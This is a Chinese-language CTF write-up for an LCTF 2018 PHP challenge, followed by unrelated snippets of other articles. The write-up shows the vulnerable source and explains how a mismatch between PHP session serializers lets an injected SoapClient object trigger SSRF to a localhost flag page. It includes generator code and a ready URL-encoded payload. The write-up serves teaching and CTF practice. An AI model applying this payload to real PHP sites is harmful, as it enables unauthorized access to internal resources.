LCTF(利用Soapclient构造session原生类)

题目:

 <?php
highlight_file(__FILE__);
$b = ‘implode‘;
call_user_func($_GET[‘f‘], $_POST);
session_start();
if (isset($_GET[‘name‘])) {
    $_SESSION[‘name‘] = $_GET[‘name‘];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), ‘welcome_to_the_lctf2018‘);
call_user_func($b, $a);
?> array(0) { } 

这里涉及到了一个函数call_user_func

 call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] ) : mixed

回调函数:第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数

举个例子:

<?php
function test($name){
    echo "this is $name !";
}
call_user_func(‘test‘,‘kobe‘);

// 输出 this is kobe
  • call_user_func() 调用静态类
<?php
class mytest{
    static function hello_world(){
        echo "hello world";
    }
}
$test = "mytest";
call_user_func(array($test,‘hello_world‘));

输出  hello world

这里还存在一个flag.php文件

 only localhost can get flag!
session_start();
echo ‘only localhost can get flag!‘;
$flag = ‘LCTF{*************************}‘;
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1")
{
$_SESSION[‘flag‘] = $flag;
} only localhost can get flag! 

可以看到的是这里的逻辑是用session构造本地访问flag.php,也就是SSRF

  • session序列化机制

session在php中是以文件形式储存的,这里涉及到session在php.ini中的几项配置。

在phpinfo中找到session.save_path,session.save_handler,session.serialize_handler

session.save_handler:  设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)

session.save_path:  设置session的存储路径

session.serialize_handler:  定义用来序列化/反序列化的处理器名字。默认是php(5.5.4后改为php_serialize)

  • session序列化引擎

session_serialize_handler有两种方式

session.serialize_handler = php              一直都在            它是用 |分割
session.serialize_handler = php_serialize    5.5之后启用         它是用serialize反序列化格式分割
<?php
ini_set("session.serialize_handler","php");
session_start();
$_SESSION[‘arr‘] = array("first"=>"kobe","last"=>"bryant");
$_SESSION[‘b‘] = ‘test‘;
?>

这里的session是通过数组形式储存的,arr和b数组,像这样arr | a: b| s:4

而调用php_serialize这个引擎的时候,session变为了a:2:{...,看到这两种不同的引擎对于session序列化的结果是不同的,因此可以利用差异化进行反序列化注入。

例如传入$_SESSION[‘name‘]=‘|O:4:"test":1:{s:4:"test";s:3:"AAA";}‘; 序列化引擎使用的是php_serialize,那么储存的session文件为

a:1:{s:4:"name";s:5:"|O:4:"test":1:{s:4:"test";s:3:"AAA";}";}

而反序列化引擎如果使用的是php,就会把|作为作为key和value的分隔符。把a:1:{s:4:"name";s:5:"当作键名,而把O:4:"test":1:{s:4:"test";s:3:"AAA";}当作经过serialize()函数处理过的值,最后会把它进行unserialize处理,此时就构成了一次反序列化注入攻击。

  • SoapClient:

通过刚才的分析,我们需要找到一个可以利用的类,因为这样才可以以数组的形式进行储存,由于源码中没有类的产生,因此我们需要挖掘内置类。

利用php原生类_call方法构造SSRF:

<?php
$url = "http://127.0.0.1/flag.php";
$b = new SoapClient(null, array(‘uri‘ => $url, ‘location‘ => $url));
$a = serialize($b);
$a = str_replace(‘^^‘, "\r\n", $a);
echo "|" . urlencode($a);
?>

payload:
|O%3A10%3A%22SoapClient%22%3A3%3A%7Bs%3A3%3A%22uri%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
将payload写入session中并覆盖原有session

此时session_start()序列化使用的是php引擎。接下里我们覆盖变量a,利用call_user_func调用SoapClient类中的不存在方法,触发__call方法,执行ssrf。并获得访问flag.php的PHPSESSID

这里得到的SESSION就是变量覆盖过后SSRF本地生成的SESSION,用这个session去访问flag

原文地址:https://www.cnblogs.com/sylover/p/12303027.html

时间: 2024-10-14 08:52:06

LCTF(利用Soapclient构造session原生类)的相关文章

Spring Boot 多站点利用 Redis 实现 Session 共享

如何在不同站点(web服务进程)之间共享会话 Session 呢,原理很简单,就是把这个 Session 独立存储在一个地方,所有的站点都从这个地方读取 Session. 通常我们使用 Redis 来解决这个问题 Spring Boot 2.1.8 Redis 5.0.3 本项目源码 github 下载 本章解决前面文章 Spring Boot 利用 nginx 实现生产环境的伪热更新 产生的session共享问题. 1 Redis 准备 本示例使用 Redis 5.0.3 操作系统为 Mac

C#利用反射,遍历获得一个类的所有属性名,以及该类的实例的所有属性的值

转自goldeneyezhang原文 C#利用反射,遍历获得一个类的所有属性名,以及该类的实例的所有属性的值 C#利用反射,遍历获得一个类的所有属性名,以及该类的实例的所有属性的值总结: 对应某个类的实例化的对象tc, 遍历获取所有属性(子成员)的方法(采用反射): Type t = tc.GetType();//获得该类的Type //再用Type.GetProperties获得PropertyInfo[],然后就可以用foreach 遍历了 foreach (PropertyInfo pi

利用反射机制,获取类的字段、方法、并实现简单调用

这篇文章是为之后要介绍Android的ICO框架做预备的,所以,如果想最近学习Android的ICO框架的同学,可以稍微看一下. 首先,简单介绍一下Java里面的反射. JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法:对于任意一个对象,都能够调用它的任意一个方法和属性:这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制. 不知道这样的一段解释,你能否看懂.如果更简单的说,反射就是能够根据你给出类名实例化出一个实实在在的对象.所以,对象的实例

利用JAXB实现java实体类和xml互相转换

1.应用场景 在使用WebService实现数据上传下载,数据查询时,可以利用JAXB实现java实体类和xml互相转换 2.Demo 2.1 student.java 实体类,包含list(set同理).map.Teacher.Date 类型的属性 package jaxb; import java.util.Date; import java.util.List; import java.util.Map; import javax.xml.bind.annotation.XmlAccess

Android利用反射机制为实体类属性赋值

在做android项目时,有时会遇到从网络上获取json类型数据,赋值给实体类,实体类属性少可以一个一个的赋值,如果实体类有很多属性,赋值可能就要耗很长的功夫了,幸好Java给我们提供了反射机制.下面是在我在android中如何利用java反射机制给实体类赋值. 在Android中利用反射机制为实体类属性赋值,首先需要导入一下两个包 import java.lang.reflect.Field; import java.lang.reflect.Method; 给实体类赋值首先需要一个实体类,这

C#语法糖之 session操作类 asp.net

用法: //声名一个数据集合 var listString = new List<string>() { "a", "b", "c" }; //session key string key = "sekey"; //获取实例 var sessionManager = SessionManager<List<string>>.GetInstance(); //添加session session

session操作类

实现代码: //声名一个数据集合 var listString = new List<string>() { "a", "b", "c" }; //session key string key = "sekey"; //获取实例 var sessionManager = SessionManager<List<string>>.GetInstance(); //添加session sessi

.Net常用工具类——Session操作类

using System;using System.Collections.Generic;using System.Text;using System.Web;using System.Web.SessionState;using System.Web.UI;using System.Web.UI.HtmlControls;using System.Web.UI.WebControls;using System.Web.UI.WebControls.WebParts; namespace ZC

利用反射api查找一个类的详细信息

说到这个实例,首先介绍下本人,我是一个php程序员,从事drupal开发2年多,可以说从实习开始就接触这个,至今没有换过,drupal给我的感觉是俩字"强大",今天写一个views的字段,然后需要继承views的views_handler_field类,还要自己实现里面的一些方法,走一些自己的配置设置,查看这个类的时候,发现实在是太多信息了,并且做了好些继承,于是我就想要是能实现一个功能,传入一个类名,然后就能返回类的所有信息(包括,属性,方法,继承,接口,并且这些类所放置的文件位置,